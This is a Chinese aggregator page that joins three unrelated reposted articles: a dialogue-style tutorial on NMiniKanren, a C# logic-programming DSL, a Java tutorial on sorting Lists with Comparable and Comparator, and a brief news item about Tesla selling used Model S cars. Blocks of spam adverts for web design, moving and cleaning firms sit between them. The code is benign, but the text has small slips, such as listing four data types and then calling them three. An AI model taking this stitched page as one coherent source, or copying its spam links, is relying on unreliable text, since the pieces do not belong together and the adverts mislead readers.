邏輯式編程語言極簡實現(使用C#) – 1. 邏輯式編程語言介紹

相信很多朋友對於邏輯式編程語言,都有一種最熟悉的陌生人的感覺。一方面,平時在書籍、在資訊網站,偶爾能看到一些吹噓邏輯式編程的話語。但另一方面,也沒見過周圍有人真正用到它(除了SQL)。

遙記當時看《The Reasoned Schemer》(一本講邏輯式編程語言的小人書),被最後兩頁的解釋器實現驚艷到了。看似如此複雜的計算邏輯,其實現竟然這麼簡潔。不過礙於當時水平有限,也就囫圇吞棗般看了過去。後來有一天,不知何故腦子靈光一閃,把圖遍歷和流計算模式聯繫在一起,瞬間明白了《The Reasoned Schemer》中的做法。動手寫了寫代碼,果然如此,短短兩百來行代碼,就完成了解釋器的實現,才發現原來如此簡單。很多時候,並非問題本身有多難,只是沒有想到正確的方法。

本系列將盡可能簡潔地說明邏輯式編程語音的原理,並實現一門簡單的邏輯式編程語言。考慮到C#的用戶較多,因此選擇用C#來實現。實現的這門語言就叫NMiniKanren。文章總體內容如下:

  • NMiniKanren語言介紹
    • 語言基礎
    • 一道有趣的邏輯題:誰是兇手
  • NMiniKanren運行原理
    • 構造條件關係圖,遍歷分支
    • 代入消元法解未知量
  • 實現NMiniKanren
    • 流計算模式簡介
    • 代入消元法的實現
    • 遍歷分支的實現

故事從兩個正在吃午餐的程序員說起。

老明和小皮是就職於同一家傳統企業的程序員。這天,兩人吃着午餐。老明邊吃邊刷着抖音,鼻孔時不時噴出幾條米粉。

小皮是一臉麻木地刷着求職網和資訊網,忽然幾個大字映入眼底:《新型邏輯式編程語言重磅出世,即將顛覆IT界!》小皮一陣好奇,往下一翻,結果接着的是一些難懂的話,什麼“一階邏輯”,什麼“合一算法”,以及鬼畫符似的公式之類。

小皮看得索然無味,但被勾引起來的對邏輯式編程的興趣彷彿澳洲森林大火一樣難以平息。於是伸手拍下老明高举手機的左手,問道:“嘿!邏輯式編程有了解過么?是個啥玩意兒?”

“邏輯式編程啊……嘿嘿,前段時間剛好稍微了解了一下。”老明鼻孔朝天吸了兩口氣,“我說的稍微了解,是指實現了一門邏輯式編程語言。”

“不愧是資深老IT,了解也比別人深入一坨坨……”

“也就比你早來一年好不好……我是一邊看一本奇書一邊做的。Dan老師(Dan Friedman)寫的《The Reasoned Schemer》。這本書挺值得一看的,書中使用一門教學用的邏輯式編程語言,講解這門語言的特性、用法、以及原理。最後還給出了這門語言的實現。核心代碼只用了兩頁紙。

“所謂邏輯式編程,從使用上看是把聲明式編程發揮到極致的一種編程範式。普通的編程語言,大部分還是基於命令式編程,需要你告訴機器每一步執行什麼指令。而邏輯式編程的理念是,我們只需要告訴機器我們需要的目標,機器會根據這個目標自動探索執行過程。

邏輯式編程的特點是可以反向運行。你可以像做數學題一樣,聲明未知量,列出方程,然後程序會為你求解未知量。

“挺神奇的。聽起來有點像AI編程。不過這麼高級的東西怎麼沒有流行起來?感覺可以節省不少人力。”小皮忽然有種飯碗即將不保的感覺。

“嘿嘿……想得美。其實邏輯式編程,既不智能,也不好用。你回憶一下你中學的時候是怎麼解方程組的?”

“嗯……先盯一會方程組,看看它長得像不像有快捷解法的樣子。看不出來的話就用代入法慢慢算。這和邏輯式編程有什麼關係?”

邏輯式編程並不智能,它只是把某種類似代入法的通用算法內置到解釋器里。邏輯式編程語言寫的程序運行時,不過是根據通用算法進行求解而已。它不像人一樣會去尋找更快捷的方法,同時也不能解決超綱問題。

而且邏輯式編程語言的學習成本也不低。如果你要用好這門語言,你得把它使用的通用算法搞清楚。雖然你寫的聲明式的代碼,但內心要時刻清楚程序的執行過程。如果你拿它當個黑盒來用,那很可能你寫出來的程序的執行效率會非常低,甚至跑出一些莫名其妙的結果。”

“哦哦,要學會用它,還得先懂得怎麼實現它。這學習成本還挺高的。”小皮跟着吐槽,不過他知道老明表明上看似嫌棄邏輯式編程的實用性,私底下肯定玩得不亦樂乎,並且也喜歡跟別人分享。於是小皮接着道:“雖然應該是用不着,但感覺挺有意思的,再仔細講講唄。天天寫CRUD,腦子都淡出個鳥了。”

果然老明坐直起來:“《The Reasoned Schemer》用的這門邏輯式編程語言叫miniKanren,用Scheme/Lisp實現的。去年給你安利過Scheme了,現在掌握得怎麼樣?”

“一竅不通……”小皮大窘。去年到現在,小皮一直很忙,並沒有自學什麼東西。如果沒有外力驅動的話,他還將一直忙下去。

“果然如此。所以我順手也實現了個C#魔改版本的miniKanren。就叫NMiniKanren。我把NMiniKanren實現為C#的一個DSL。這樣的好處是方便熟悉C#或者Java的人快速上手;壞處是DSL會受限於C#語言的能力,代碼看起來沒有Scheme版那麼優雅。”老明用左手做了個打引號的動作,“先從簡單的例子開始吧。比如說,有個未知量q,我們的目標是讓q等於5或者等於6。那麼滿足條件的q值有哪些?”

“不就是5和6么……這也太簡單了吧。”

“Bingo!”老明打了個響指,“我們先用簡單的例子看看代碼結構。”只見老明兩指輕輕夾住一隻筷子,勾出幾條米粉,快速在桌上擺出如下代碼:

// k提供NMiniKanren的方法,q是待求解的未知變量。
var res = KRunner.Run(null /* null表示輸出所有可能的結果 */, (k, q) =>
{
    // q == 5 或者 q == 6
    return k.Any(
        k.Eq(q, 5),
        k.Eq(q, 6));
});
KRunner.PrintResult(res);  // 輸出結果:[5, 6]

“代碼中,KRunner.Run用於運行一段NMiniKanren代碼,它的聲明如下。”老明繼續撥動米粉:

public class KRunner
{
    public static IList<object> Run(int? n, Func<KRunner, FreshVariable, Goal> body)
    {
        ...
    }
}

“其中,參數n是返回結果的數量限制,n = null表示無限制;參數body是一個函數:

  • 函數的第一個參數是一個KRunner實例,用於引用NMiniKanren方法;
  • 函數的第二個參數是我們將要求解的未知量;
  • 函數的函數體是我們編寫的NMiniKanren代碼;
  • 函數的返回值為需要滿足的約束條件。

“接着我們看函數體的代碼。k.Eq(q, 5)表示q需要等於5k.Eq(q, 6)表示q需要等於6k.Any表示滿足至少一個條件。整段代碼的意思為:求所有滿足q等於5或者q等於6q值。顯然答案為56,程序的運行結果也是如此。很神奇吧?”

“你這米粉打碼的功夫更讓我驚奇……”小皮仔細看了一會,“原來如此。不過這DSL的語法確實看着比較累。”

“主要是我想做得簡單一些。其實使用C#的Lambda表達式也可以實現像……”老明勾出幾條米粉擺出q == 5 || q == 6表達式,“……這樣的語法,不過這樣會增加NMiniKanren實現的複雜度。況且這無非是前綴表達式或中綴表達式這種語法層面的差別而已,語義上並沒有變化。學習應先抓住重點,花里胡哨的東西可以放到最後再來琢磨。

“嗯嗯。KRunner.Run里這個null的參數是做什麼用的呢?”

KRunner.Run的第一個參數用來限制輸出結果的數量。null表示輸出所有可能的結果。還是上面例子的條件,我們改成限制只輸出1個結果。”小皮用筷子改了下代碼:

// k提供NMiniKanren的方法,q是待求解的未知變量。
var res = KRunner.Run(1 /* 輸出1個結果 */, (k, q) =>
{
    // q == 5 或者 q == 6
    return k.Any(
        k.Eq(q, 5),
        k.Eq(q, 6));
});
KRunner.PrintResult(res);  // 輸出結果:[5]

“這樣程序只會輸出5一個結果。在一些包含遞歸的代碼中,可能會有無窮多個結果,這種情況下需要限制輸出結果的數量來避免程序不會終止。”

“原來如此。不過這個例子太簡單了,有沒有其他更好玩的例子。”

老明喝下一口湯,說:“好。時間不早了,我們回公司找個會議室慢慢說。”

NMiniKanren支持的數據類型

到公司后,老明的講課開始了……

首先,要先明確NMiniKanren支持的數據類型。後續代碼都要基於數據類型來編寫,所以規定好數據類型是基礎中的基礎。

簡單起見,NMiniKanren只支持四種數據類型:

  • string:就是一個普普通通的值類型,僅有值相等判斷。
  • int:同string。使用int是因為有時候想少寫兩個雙引號……
  • KPair:二元組。可用來構造鏈表及其他複雜的數據結構。如果你學過Lisp會對這個數據結構很熟悉。下面詳細說明。
  • null:這個類型只有null一個值。表示空引用或者空數組。

KPair類型

KPair的定義為:

public class KPair
{
    public object Lhs { get; set; }
    public object Rhs { get; set; }
    
    // methods
    ...
}

KPair除了用作二元組(其實是最少用的)外,更多的是用來構造鏈表。構造鏈表時,約定一個KPair作為一個鏈表的節點,Lhs為元素值,Rhs為一下個節點。當Rhsnull時鏈表結束。空鏈表用null表示。

public static KPair List(IEnumerable<object> lst)
{
    var fst = lst.FirstOrDefault();
    if (fst == null)
    {
        return null;
    }
    return new KPair(fst, List(lst.Skip(1)));
}

使用null表示空鏈表其實並不合適,這裏純粹是為了簡單而偷了個懶。

我們知道,很多複雜的數據結構都是可以通過鏈表來構造的。所以雖然NMiniKanren只有三種數據類型,但可以表達很多數據結構了。

這時候小皮有疑問了:“C#本身已經自帶了List等容器了,為什麼還要用KPair來構造鏈表?”

“為了讓底層盡可能簡潔。”老明說道,“我們都知道,程序本質上分為數據結構和算法。算法是順着數據結構來實現的。簡潔的數據結構會讓算法的實現顯得更清晰。相比C#自帶的List,使用KPair構造的鏈表更加清晰簡潔。按照構造的方式,我們的鏈表定義為:

  1. 空鏈表null
  2. 或者是非空鏈表。它的第一個元素為Lhs,並且Rhs是後續的鏈表。

“鏈表相關的算法都會順着定義的這兩個分支實現:一個處理空鏈表的分支,一個處理非空鏈表的遞歸代碼。比如說判斷一個變量是不是鏈表的方法:

public static bool IsList(object o)
{
    // 空鏈表
    if (o == null)
    {
        return true;
    }
    // 非空鏈表
    if (o is KPair p)
    {
        // 遞歸
        return IsList(p.Rhs);
    }
    // 非鏈表
    return false;
}

“以及判斷一個元素是不是在鏈表中的方法:

public static bool Memeber(object lst, object e)
{
    // 空鏈表
    if (lst == null)
    {
        return false;
    }
    // 非空鏈表
    if (lst is KPair p)
    {
        if (p.Lhs == null && e == null || p.Lhs.Equals(e))
        {
            return true;
        }
        else
        {
            // 遞歸
            return Memeber(p.Rhs, e);
        }
    }
    // 非鏈表
    return false;
}

“數據類型明確后,接下來我們來看看NMiniKanren能做什麼。”

目標(Goal)

編寫NMiniKanren代碼是一個構造目標(Goal類型)的過程。NMiniKanren解釋器運行時將求解使得目標成立的所有未知量的值

顯然,有兩個平凡的目標:

  • k.Succeed:永遠成立,未知量可取任意值。
  • k.Fail:永遠不成立,無論未知量為何值都不成立。

其中kKRunner的一個實例。C#跟Java一樣不能定義獨立的函數和常量,所以我們DSL需要的函數和常量就都定義為KRunner的方法或屬性。後面不再對k進行複述。

一個基本的目標是k.Eq(v1, v2)。這也是NMiniKanren唯一一個使用值來構造的目標,它表示值v1v2應該相等。也就是說,當v1v2相等時,目標k.Eq(v1, v2)成立;否則不成立。

這裏的相等,指的是值相等:

  • 不同類型不相等。
  • string類型相等當且僅當值相等。
  • KPair類型相等當且僅當它們的Lhs相等且Rhs相等。

KPair相等的定義,可以推出由KPair構造的數據結構(比如鏈表),相等條件為當且僅當它們結構一樣且對應的值相等。

接下來我們看幾個例子。

等於一個值

KRunner.PrintResult(KRunner.Run(null, (k, q) =>
{
    return k.Eq(q, 5);
}));  // 輸出[5]

直接q等於5

等於一個鏈表

KRunner.PrintResult(KRunner.Run(null, (k, q) =>
{
    return k.Eq(q, k.List(1, 2));
}));  // 輸出[(1 2)]

k.List(1, 2)相當於new KPair(1, new KPair(2, null)),用來快速構造鏈表。

鏈表間的相等

KRunner.PrintResult(KRunner.Run(null, (k, q) =>
{
    return k.Eq(k.List(1, q), k.List(1, 2));
}));  // 輸出[2]

這個例子比較像一個方程了。q匹配k.List(1, 2)的第二項,也就是2

無法相等的例子

KRunner.PrintResult(KRunner.Run(null, (k, q) =>
{
    return k.Eq(k.List(2, q), k.List(1, 2));
}));  // 輸出[]

由於k.List(2, q)的第一項和k.List(1, 2)的第一項不相等,所以這個目標無法成立,q沒有值。

不成立的例子

KRunner.PrintResult(KRunner.Run(null, (k, q) =>
{
    return k.Fail;
}));  // 輸出[]

目標無法成立,q沒有值。

永遠成立的例子

KRunner.PrintResult(KRunner.Run(null, (k, q) =>
{
    return k.Succeed;
}));  // 輸出[_0]

目標恆成立,q可取任意值。輸出_0表示一個可取任意值的自由變量。

更多構造目標的方式

目標可以看作布爾表達式,因此可以通過“與或非”運算,用簡單的目標構造成複雜的“組合”目標。我們把被用來構造“組合”目標的目標叫做該“組合”目標的子目標。

定義未知量

在前面的例子中,我們只有一個未知量qq既是未知量,也是程序輸出。

在處理更複雜的問題時,通常需要定義更多的未知量。定義未知量的方法是k.Fresh

// 定義x, y兩個未知量
var x = k.Fresh()
var y = k.Fresh()

新定義的未知量和q一樣,可以用來構造目標:

// x == 2
k.Eq(x, 2)
// x == y
k.Eq(x, y)

使用“與”運算組合的目標,僅當所有子目標成立時,目標才成立。

使用方法k.All來構造“與”運算組合的目標。

var g = k.All(g1, g2, g3, ...)

當且僅當g1, g2, g3, ……,都成立時,g才成立。

特別的,空子目標的情況,即k.All(),恆成立。

KRunner.PrintResult(KRunner.Run(null, (k, q) =>
{
    return k.All(
        k.Eq(q, 1),
        k.Eq(q, 2));
}));  // 輸出[]

KRunner.PrintResult(KRunner.Run(null, (k, q) =>
{
    var x = k.Fresh();
    var y = k.Fresh();
    return k.All(
        k.Eq(x, 1),
        k.Eq(y, x),
        k.Eq(q, k.List(x, y)));
}));  // 輸出[(1 1)]

使用“或”運算組合的目標,只要一個子目標成立時,目標就成立。

使用方法k.Any來構造“或”運算組合的目標。

var g = k.Any(g1, g2, g3, ...)

g1, g2, g3, ……中至少一個成立,g成立。

特別的,空子目標的情況,即k.Any(),恆不成立。

KRunner.PrintResult(KRunner.Run(null, (k, q) =>
{
    return k.Any(
        k.Eq(q, 5),
        k.Eq(q, 6));
}));  // 輸出[5, 6]

KRunner.PrintResult(KRunner.Run(null, (k, q) =>
{
    var x = k.Fresh();
    var y = k.Fresh();
    return k.All(
        k.Any(k.Eq(x, 5), k.Eq(y, 6)),
        k.Eq(q, k.List(x, y)));
}));  // 輸出[(5 _0), (_0 6)]

非?

MiniKanren(以及NMiniKanren)不支持“非”運算。支持“非”會讓miniKanren的實現複雜很多。

這或許令人驚訝。“與或非”在邏輯代數中一直像是連體嬰兒似的扎堆出現。並且“非”運算是單目運算符,看起來應該更簡單。

然而,“與”和“或”運算是在已知的兩(多)個集合中取交集或者並集,結果也是已知的。而“非”運算則是把一個已知的集合映射到可能未知的集合,遍歷“非”運算的結果可能會很久或者就是不可能的。

對於基於圖搜索和代入法求解的miniKanren來說,支持“非”運算需要對核心的數據結構和算法做較大改變。因此以教學為目的的miniKanren沒有支持“非”運算。

不過,在一定程度上,也是有不完整替代方法的。

If(這個比較奇葩,可以先跳過)

If是一個特殊的構造目標的方式。對應《The Reasoned Schemer》中的conda

var g = k.If(g1, g2, g3)

如果g1g2成立,那麼g成立;否則當且僅當g3成立時,g成立。

這個和k.Any(k.All(g1, g2), g3)很像,但他們是有區別的:

  • k.Any(k.All(g1, g2), g3)會解出所有讓k.All(g1, g2)或者g3成立的解
  • k.If(g1, g2, g3)如果k.All(g1, g2)有解,那麼只給出使k.All(g1, g2)成立的解;否則再求使得g3成立的解。

也可以說,If是短路的。

這麼詭異的特性有什麼用呢?

它可以部分地實現“非”運算的功能:

k.If(g, k.Fail, k.Succeed)

這個這裏先不詳細展開了,後面用到再說。

控制輸出順序

這是一個容易被忽略的問題。如果程序需要求出所有的解,那麼輸出順序影響不大。但是一些情況下,求解速度很慢,或者解的數量太多甚至無窮,這時只求前幾個解,那麼輸出的內容就和輸出順序有關了。

因為miniKanren以圖遍歷的方式來查找問題的解,所以解的順序其實也是解釋器運行時遍歷的順序。先看如下例子:

KRunner.PrintResult(KRunner.Run(null, (k, q) =>
{
    var x = k.Fresh();
    var y = k.Fresh();
    return k.All(
        k.Any(k.Eq(x, 1), k.Eq(x, 2)),
        k.Any(k.Eq(y, "a"), k.Eq(y, "b")),
        k.Eq(q, k.List(x, y)));
}));  // 輸出[(1 a), (1 b), (2 a), (2 b)]

有兩個未知變量xyx可能的取值為1或2,y可能的取值為a或b。可以看到,程序查找解的順序為:

  • x值為1
    • y值為a,q=(1 a)
    • y值為b,q=(1 b)
  • x值為2
    • y值為a,q=(2 a)
    • y值為b,q=(2 b)

如果要改變這個順序,我們有一個交替版的“與”運算k.Alli

KRunner.PrintResult(KRunner.Run(null, (k, q) =>
{
    var x = k.Fresh();
    var y = k.Fresh();
    return k.Alli(
        k.Any(k.Eq(x, 1), k.Eq(x, 2)),
        k.Any(k.Eq(y, "a"), k.Eq(y, "b")),
        k.Eq(q, k.List(x, y)));
}));  // 輸出[(1 a), (2 a), (1 b), (2 b)]

不過這個交替版也不是交替得很漂亮。下面增加x可能的取值到3個:

KRunner.PrintResult(KRunner.Run(null, (k, q) =>
{
    var x = k.Fresh();
    var y = k.Fresh();
    return k.Alli(
        k.Any(k.Eq(x, 1), k.Eq(x, 2), k.Eq(x, 3)),
        k.Any(k.Eq(y, "a"), k.Eq(y, "b")),
        k.Eq(q, k.List(x, y)));
}));  // 輸出[(1 a), (2 a), (1 b), (3 a), (2 b), (3 b)]

同樣,“或”運算也有交替版。

正常版:

KRunner.PrintResult(KRunner.Run(null, (k, q) =>
{
    return k.Any(
        k.Any(k.Eq(q, 1), k.Eq(q, 2)),
        k.Any(k.Eq(q, 3), k.Eq(q, 4)));
}));  // 輸出[1, 2, 3, 4]

交替版:

KRunner.PrintResult(KRunner.Run(null, (k, q) =>
{
    return k.Anyi(
        k.Any(k.Eq(q, 1), k.Eq(q, 2)),
        k.Any(k.Eq(q, 3), k.Eq(q, 4)));
}));  // 輸出[1, 3, 2, 4]

後面講到miniKanren實現原理時會解釋正常版、交替版為什麼會是這種表現。

遞歸

無遞歸,不編程!

遞歸給予了程序語言無限的可能。NMiniKanren也是支持遞歸的。下面我們實現一個方法,這個方法構造的目標要求指定的值或者未知量是一個所有元素都為1的鏈表。

錯誤的示範

一個值或者未知量的元素都為1,用遞歸的方式表達是:

  1. 它是一個空鏈表
  2. 或者它的第一個元素是1,且剩餘部分的元素都為1

直譯為代碼就是:

public static Goal AllOne_Wrong(this KRunner k, object lst)
{
    var d = k.Fresh();
    return k.Any(
        // 空鏈表
        k.Eq(lst, null),
        // 非空
        k.All(
            k.Eq(lst, k.Pair(1, d)),  // 第一個元素是1
            k.AllOne_Wrong(d)));  // 剩餘部分的元素都是1
}

直接運行這段代碼,死循環。

為什麼呢?因為我們直接使用C#的方法來定義函數,C#在構造目標的時候,會運行最後一行的k.AllOne_Wrong(d),於是就陷入死循環了。

正確的做法

為了避免死循環,在遞歸調用的地方,需要用k.Recurse方法特殊處理一下,讓遞歸的部分變為惰性求值,防止直接調用:

public static Goal AllOne(this KRunner k, object lst)
{
    var d = k.Fresh();
    return k.Any(
        k.Eq(lst, null),
        k.All(
            k.Eq(lst, k.Pair(1, d)),
            k.Recurse(() => k.AllOne(d))));
}

隨便構造兩個問題運行一下:

KRunner.PrintResult(KRunner.Run(null, (k, q) =>
{
    var x = k.Fresh();
    var y = k.Fresh();
    return k.All(
        k.AllOne(k.List(1, x, y, 1)),
        k.Eq(q, k.List(x, y)));
}));  // 輸出[(1 1)]

KRunner.PrintResult(KRunner.Run(null, (k, q) =>
{
    var x = k.Fresh();
    var y = k.Fresh();
    return k.All(
        k.AllOne(k.List(1, x, y, 0)),
        k.Eq(q, k.List(x, y)));
}));  // 輸出[]

k.Recurse這種處理方法其實是比較醜陋而且不好用的。特別是多個函數相互調用引起遞歸的情況,很可能會漏寫k.Recurse導致死循環。

聽到這裏,小皮疑惑道:“這個有點丑誒。剛剛網上瞄了下《The Reasoned Schemer》,發現人家的遞歸併不需要這種特殊處理。看起來直接調用就OK了,跟普通程序沒啥兩樣,很美很和諧。”

“因為《The Reasoned Schemer》使用Lisp的宏實現的miniKanren,宏的機制會有類似惰性計算的效果。”老明用擦白板的抹布拍了下小皮的腦袋,“可惜你不會Lisp。如果你不努力提升自己,那丑一點也只能將就着看了。”

關於數值計算

MiniKanren沒有直接支持數值計算。也就是說,miniKanren不能直接幫你解像2 + x = 5的這種方程。如果要直接支持數值計算,需要實現很多數學相關的運算和變換,會讓miniKanren的實現變得非常複雜。MiniKanren是教學性質的語言,只支持了最基本的邏輯判斷功能。

“沒有‘直接’支持。”小皮敏銳地發現了關鍵,“也就是可以間接支持咯?”

“沒錯!你想想,0和1是我們支持的符號,與和或也是我們支持的運算符!”老明興奮起來了。

“二進制?”

“是的!任何一本計算機組成原理教程都會教你怎麼做!這裏就不多說了,你可以自己回去試一下。”

“嗯嗯。我以前這門課學得還不錯,現在還記得大概是先實現半加器和全加器,然後構造加法器和乘法器等。”小皮幹勁十足,從底層開始讓他想起了小時候玩泥巴的樂趣。

“而且用miniKanren實現的不是一般的加法器和乘法器,是可以反向運行的加法器和乘法器。”

“有意思,晚上下班回去就去試試。”小皮真心地說。正如他下班回家躺床上后,就再也不想動彈一樣真心實意。

(注:《The Reasoned Schemer》第7章、第8章會講到相關內容。)

小結

“好了,NMiniKanren語言的介紹就先說到這裏了。”老明拍了拍手,看了看前面的例子,撇了撇嘴,“以C#的DSL方式實現出來果然丑很多,語法上都不一致了。不過核心功能都還在。”

“接下來就是最有意思的部分,NMiniKanren的原理了吧?”

“是的。不過在繼續之前,還有個問題。”

“啥問題?”

“中午米線都用來打碼了。現在肚子餓了,你要請我吃下午茶。”

NMiniKanren的源碼在:https://github.com/sKabYY/NMiniKanren

示例代碼在:https://github.com/sKabYY/NMiniKanren/tree/master/NMiniKaren.Tests

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

新北清潔公司,居家、辦公、裝潢細清專業服務

Java 從入門到進階之路(二十五)

在之前的文章我們介紹了一下 Java 中的  集合框架中的Collection 的子接口 List的 增刪改查和與數組間相互轉換的方法,本章我們來看一下 Java 集合框架中的Collection 的子接口 List 的另外一些方法。

我們在使用集合的時候難免會對其中的元素進行排序,因為 Set 集合本身是無序的,所以本章將着重講解 List 集合,如下:

 1 import java.util.ArrayList;
 2 import java.util.Collections;
 3 import java.util.List;
 4 import java.util.Random;
 5 
 6 /**
 7  * 排序集合元素
 8  * 排序集合使用的是集合的工具類 Collections 的靜態方法 sort
 9  * 排序僅能對 List 集合進行,因為 Set 部分實現類是無序的
10  * */
11 public class Main {
12     public static void main(String[] args) {
13         List<Integer> list = new ArrayList<Integer>();
14         Random random = new Random();
15         for(int i=0;i<10;i++){
16             list.add(random.nextInt(100));
17         }
18         System.out.println(list); // [49, 24, 29, 59, 56, 1, 1, 5, 49, 60]
19 
20         Collections.sort(list);
21         System.out.println(list); // [1, 1, 5, 24, 29, 49, 49, 56, 59, 60]
22     }
23 }

在上面的代碼中,我們隨機生成了一些正數並添加到 List 集合中,我們通過 sort 方法,系統變自動按照自然數的排列方法為我們做好了排序,很是方便,那如果 List 中使我們自己定義的內容,比如說一個類,那該如何排序呢,如下:

import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

/**
 * 排序集合元素
 * 排序集合使用的是集合的工具類 Collections 的靜態方法 sort
 * 排序僅能對 List 集合進行,因為 Set 部分實現類是無序的
 */
public class Main {
    public static void main(String[] args) {
        List<Point> list = new ArrayList<Point>();
        list.add(new Point(1, 2));
        list.add(new Point(2, 3));
        list.add(new Point(4, 2));
        list.add(new Point(2, 5));
        list.add(new Point(9, 3));
        list.add(new Point(7, 1));
        System.out.println(list); // [(1, 2), (2, 3), (4, 2), (2, 5), (9, 3), (7, 1)]
        // Collections.sort(list); // 編譯錯誤,不知道 Point 排序規則
        /**
         * sort 方法要求集合必須實現 Comparable 接口
         * 該接口用於規定實現類事可以比較的
         * 其中一個 compareTo 方法時用來定義比較大小的規則
         * */
        Collections.sort(list);
        System.out.println(list); // [(1, 2), (2, 3), (4, 2), (2, 5), (7, 1), (9, 3)]

    }
}

class Point implements Comparable<Point> { // 定義為泛型 T 類型
    private int x;
    private int y;

    public Point(int x, int y) {
        this.x = x;
        this.y = y;
    }

    public int getX() {
        return x;
    }

    public void setX(int x) {
        this.x = x;
    }

    public int getY() {
        return y;
    }

    public void setY(int y) {
        this.y = y;
    }

    @Override
    public String toString() {
        return "(" + x + ", " + y + ")";
    }

    /**
     * 當實現了 Comparable 接口后,需要重寫下面的方法
     * 該方法的作用是定義當前對象與給定參數對象比較大小的規則
     * 返回值為一個 int 值,該值表示大小關係
     * 它不關注具體的取值是多少,而關注的是取值範圍
     * 當返回值 >0 時:當前對象不參數對象大
     * 當返回值 <0 時:當前對象比參數對象小
     * 當返回值 =0 時:兩個對象相等
     */
    @Override
    public int compareTo(Point o) {
        /**
         * 比較規則,點到原點的距離長的打
         * */
        int len = this.x * this.x + this.y * this.y;
        int olen = o.x * o.x + o.y * o.y;
        return len - olen;
    }
}

在上面的代碼中,我們跟之前一樣定義了一個 Point 類,然後實例化后存入 list 集合中,如果我們相對 Point 進行排序,如果直接調用 sort 方法會報錯,這是由於編譯器不知道我們定義的 Point 類的排序規則,所以我們需要通過接口 Comparable 接口來自定義排序規則,如下圖:

 

我們可以通過坐標系中點到原點的距離來判斷 Point 的大小,即 x*x+y*y 的大小,然後通過重寫 compareTo 方法來實現 sort 。

實際上雖然能實現,但是並不理想,為了實現一個 sort 方法,要求我們的集合元素必須實現 Comparable 接口並且定義比較規則,這種我們想使用某個功能,而它要求我們修改程序的現象稱為“侵入性”。修改的代碼越多,侵入性越強,越不利於程序的擴展。

我們再來看一下下面的排序:

 1 import java.util.ArrayList;
 2 import java.util.Collections;
 3 import java.util.List;
 4 
 5 public class Main {
 6     public static void main(String[] args) {
 7         List<String> list1 = new ArrayList<String>();
 8         list1.add("Java");
 9         list1.add("c++");
10         list1.add("Python");
11         list1.add("PHP");
12         Collections.sort(list1);
13         System.out.println(list1); // [Java, PHP, Python, c++]
14 
15         List<String> list2 = new ArrayList<String>();
16         list2.add("孫悟空");
17         list2.add("豬八戒");
18         list2.add("唐僧");
19         list2.add("六小齡童");
20         Collections.sort(list2);
21         System.out.println(list2); // [六小齡童, 唐僧, 孫悟空, 豬八戒]
22 
23     }
24 }

在上面的排序中,當我們對字母或漢字進行排序時,其實是比的第一個字的 Unicode 碼,那如果我們不使用 Comparable 的接口該如何自定義我們想要的實現規則呢?比如根據字符串的長度來進行排序,其實 sort 有一個額外的重載方法來實現我們想要的結果,如下:

 1 import java.util.ArrayList;
 2 import java.util.Collections;
 3 import java.util.Comparator;
 4 import java.util.List;
 5 
 6 public class Main {
 7     public static void main(String[] args) {
 8         /**
 9          * 重載的 sort 方法要求傳入一個額外的比較器
10          * 該方法不再要求集合元素必須實現 Comparable 接口
11          * 並且不再使用集合元素資深的比較規則排序了
12          * 而是根據給定的這個額外的比較器的比較規則對集合元素進行排序
13          * 實際開發中也推薦使用這種方式進行集合元素排序
14          * 若集合元素是自定義的
15          * 創建比較器時推薦使用匿名內部類的形式
16          */
17         List<String> list1 = new ArrayList<String>();
18         list1.add("Java");
19         list1.add("c++");
20         list1.add("Python");
21         list1.add("PHP");
22         MyComparator myComparator1 = new MyComparator();
23         Collections.sort(list1, myComparator1); // 重載 sort
24         System.out.println(list1); // [c++, PHP, Java, Python]
25 
26         List<String> list2 = new ArrayList<String>();
27         list2.add("孫悟空");
28         list2.add("豬八戒");
29         list2.add("唐僧");
30         list2.add("六小齡童");
31         // 匿名內部類形式創建
32         Comparator<String> myComparator2 = new Comparator<String>() {
33             @Override
34             public int compare(String o1, String o2) {
35                 return o1.length() - o2.length();
36             }
37         };
38         Collections.sort(list2, myComparator2); // 重載 sort
39         System.out.println(list2); // [唐僧, 孫悟空, 豬八戒, 六小齡童]
40 
41     }
42 }
43 
44 /**
45  * 定義一個額外的比較器
46  * 該方法用來定義 o1 和 o2 的比較
47  * 若返回值 >0:o1>o2
48  * 若返回值 <0:o1<o2
49  * 若返回值 =0:兩個對象相等
50  */
51 class MyComparator implements Comparator<String> {
52     @Override
53     public int compare(String o1, String o2) {
54         /**
55          * 字符串中字符多的大
56          * */
57         return o1.length() - o2.length();
58     }
59 }

    

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※幫你省時又省力,新北清潔一流服務好口碑

※別再煩惱如何寫文案,掌握八大原則!

另闢財源!特斯拉開賣 Model S 二手車

電動車大廠特斯拉(Tesla)開始在官網銷售 Model S 二手車,跨出從新創公司轉變成主流車商的重要一步。特斯拉大約在一周前悄悄推出認證二手車方案,讓消費者可以買到價格比新車便宜的特斯拉電動車,並提供 4 年或 5 萬英里保修方案。   特斯拉發言人說,第一批二手車來源主要是一些車主淘汰舊車、添購去年底上市的四輪傳動 Model S。此外,特斯拉在 2012 年推出租車方案,租期通常為 3 年,這些車將在今年開始歸還給特斯拉。   特斯拉並不運用獨立經銷商通路,所以可以保有賣二手車的全部營收。不過,因特斯拉的二手車供應量有限,目前特斯拉網站只在美國 11 個大都會區提供二手車。特斯拉發言人說,這些二手車將分組存放,未必會存放在零售門市。客戶訂購二手車後,可以赴各地區的存放地點取車,或要求特斯拉把車運送到府。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

